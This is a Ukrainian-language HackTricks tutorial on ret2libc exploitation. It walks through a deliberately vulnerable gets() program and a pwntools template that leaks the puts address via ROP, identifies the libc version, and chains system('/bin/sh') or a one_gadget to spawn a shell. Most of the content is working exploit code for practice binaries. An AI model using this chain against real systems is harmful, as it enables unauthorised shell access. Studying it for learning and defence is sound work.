Leaking libc address with ROP

Підтримайте HackTricks

Швидке резюме

  1. Знайдіть переповнення зсуву

  2. Знайдіть гаджет POP_RDI, гаджет PUTS_PLT та гаджет MAIN

  3. Використовуйте попередні гаджети, щоб витягнути адресу пам'яті функції puts або іншої функції libc та знайти версію libc (завантажте її)

  4. З бібліотекою, обчисліть ROP та експлуатуйте його

Інші навчальні посібники та бінарники для практики

Цей навчальний посібник буде експлуатувати код/бінарник, запропонований у цьому навчальному посібнику: https://tasteofsecurity.com/security/ret2libc-unknown-libc/ Інші корисні навчальні посібники: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Код

Ім'я файлу: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - Leaking LIBC template

Завантажте експлойт і помістіть його в ту ж директорію, що й вразливий бінар, і надайте необхідні дані скрипту:

Leaking libc - template

1- Знаходження зсуву

Шаблон потребує зсуву перед продовженням з експлойтом. Якщо будь-який зсув надано, він виконає необхідний код для його знаходження (за замовчуванням OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Виконайте python template.py, відкриється консоль GDB з програмою, що зазнала збою. Всередині цієї консолі GDB виконайте x/wx $rsp, щоб отримати байти, які збиралися перезаписати RIP. Нарешті, отримайте зсув за допомогою консолі python:

from pwn import *
cyclic_find(0x6161616b)

Після знаходження зсуву (в цьому випадку 40) змініть змінну OFFSET всередині шаблону, використовуючи це значення. OFFSET = "A" * 40

Інший спосіб - використовувати: pattern create 1000 -- виконати до ret -- pattern seach $rsp з GEF.

2- Пошук гаджетів

Тепер нам потрібно знайти ROP гаджети всередині бінарного файлу. Ці ROP гаджети будуть корисні для виклику puts, щоб знайти libc, що використовується, а пізніше для запуску фінального експлойту.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

PUTS_PLT потрібен для виклику функції puts. MAIN_PLT потрібен для повторного виклику головної функції після одного взаємодії, щоб використати переповнення знову (безкінечні раунди експлуатації). Він використовується в кінці кожного ROP для повторного виклику програми. POP_RDI потрібен для передачі параметра до викликаної функції.

На цьому етапі вам не потрібно нічого виконувати, оскільки все буде знайдено pwntools під час виконання.

3- Пошук бібліотеки libc

Тепер час знайти, яка версія бібліотеки libc використовується. Для цього ми збираємося викрити адресу в пам'яті функції puts, а потім ми будемо шукати, в якій версії бібліотеки знаходиться версія puts за цією адресою.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Щоб це зробити, найважливішим рядком виконуваного коду є:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Це надішле кілька байтів, поки перезаписування RIP не стане можливим: OFFSET. Потім він встановить адресу гаджета POP_RDI, щоб наступна адреса (FUNC_GOT) була збережена в регістрі RDI. Це тому, що ми хочемо викликати puts, передаючи їй адресу PUTS_GOT, оскільки адреса в пам'яті функції puts зберігається за адресою, на яку вказує PUTS_GOT. Після цього буде викликано PUTS_PLTPUTS_GOT всередині RDI), щоб puts прочитала вміст всередині PUTS_GOT (адресу функції puts в пам'яті) і вивела її. Нарешті, головна функція викликається знову, щоб ми могли знову експлуатувати переповнення.

Таким чином, ми обманули функцію puts, щоб вона вивела адресу в пам'яті функції puts (яка знаходиться в бібліотеці libc). Тепер, коли ми маємо цю адресу, ми можемо шукати, яка версія libc використовується.

Оскільки ми експлуатуємо деякий локальний бінарний файл, не потрібно з'ясовувати, яка версія libc використовується (просто знайдіть бібліотеку в /lib/x86_64-linux-gnu/libc.so.6). Але в випадку віддаленої експлуатації я поясню, як ви можете це знайти:

3.1- Пошук версії libc (1)

Ви можете шукати, яка бібліотека використовується на веб-сторінці: https://libc.blukat.me/ Це також дозволить вам завантажити виявлену версію libc

3.2- Пошук версії libc (2)

Ви також можете зробити:

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

Це займе деякий час, будьте терплячими. Для цього нам потрібно:

  • Ім'я символу libc: puts

  • Витік адреси libc: 0x7ff629878690

Ми можемо з'ясувати, яка libc найімовірніше використовується.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Ми отримуємо 2 збіги (ви повинні спробувати другий, якщо перший не працює). Завантажте перший:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

Скопіюйте libc з libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so до нашого робочого каталогу.

3.3- Інші функції для leak

puts
printf
__libc_start_main
read
gets

4- Знаходження адреси libc на основі & експлуатація

На цьому етапі ми повинні знати, яка бібліотека libc використовується. Оскільки ми експлуатуємо локальний бінарний файл, я використаю просто: /lib/x86_64-linux-gnu/libc.so.6

Отже, на початку template.py змініть змінну libc на: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Встановіть шлях до бібліотеки, коли знаєте його

Надавши шлях до бібліотеки libc, решта експлуатації буде автоматично розрахована.

Всередині функції get_addr буде розраховано базову адресу libc:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

Зверніть увагу, що кінцева адреса бази libc повинна закінчуватися на 00. Якщо це не ваш випадок, ви могли витікати неправильну бібліотеку.

Тоді адреса функції system та адреса рядка "/bin/sh" будуть обчислені з бази libc та надані бібліотеці libc.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Нарешті, експлойт виконання /bin/sh буде підготовлений для відправки:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Давайте пояснимо цей фінальний ROP. Останній ROP (rop1) знову викликав функцію main, тому ми можемо знову експлуатувати переповнення (ось чому OFFSET знову тут). Потім ми хочемо викликати POP_RDI, вказуючи на адресу "/bin/sh" (BINSH), і викликати функцію system (SYSTEM), оскільки адреса "/bin/sh" буде передана як параметр. Нарешті, адреса функції exit викликається, щоб процес коректно завершився і не було згенеровано жодних сповіщень.

Таким чином, експлойт виконає _/bin/sh_** оболонку.**

4(2)- Використання ONE_GADGET

Ви також можете використовувати ONE_GADGET , щоб отримати оболонку замість використання system і "/bin/sh". ONE_GADGET знайде в бібліотеці libc спосіб отримати оболонку, використовуючи лише одну ROP адресу. Однак, зазвичай є деякі обмеження, найпоширеніші та легкі для уникнення - це такі, як [rsp+0x30] == NULL. Оскільки ви контролюєте значення всередині RSP, вам просто потрібно надіслати ще кілька значень NULL, щоб уникнути обмеження.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT FILE

Ви можете знайти шаблон для експлуатації цієї вразливості тут:

Leaking libc - template

Загальні проблеми

MAIN_PLT = elf.symbols['main'] не знайдено

Якщо символ "main" не існує. Тоді ви можете знайти, де знаходиться основний код:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

і встановіть адресу вручну:

MAIN_PLT = 0x401080

Puts не знайдено

Якщо бінар не використовує Puts, вам слід перевірити, чи використовує він

sh: 1: %s%s%s%s%s%s%s%s: не знайдено

Якщо ви знайдете цю помилку після створення всіх експлойтів: sh: 1: %s%s%s%s%s%s%s%s: не знайдено

Спробуйте відняти 64 байти від адреси "/bin/sh":

BINSH = next(libc.search("/bin/sh")) - 64
Підтримайте HackTricks

Last updated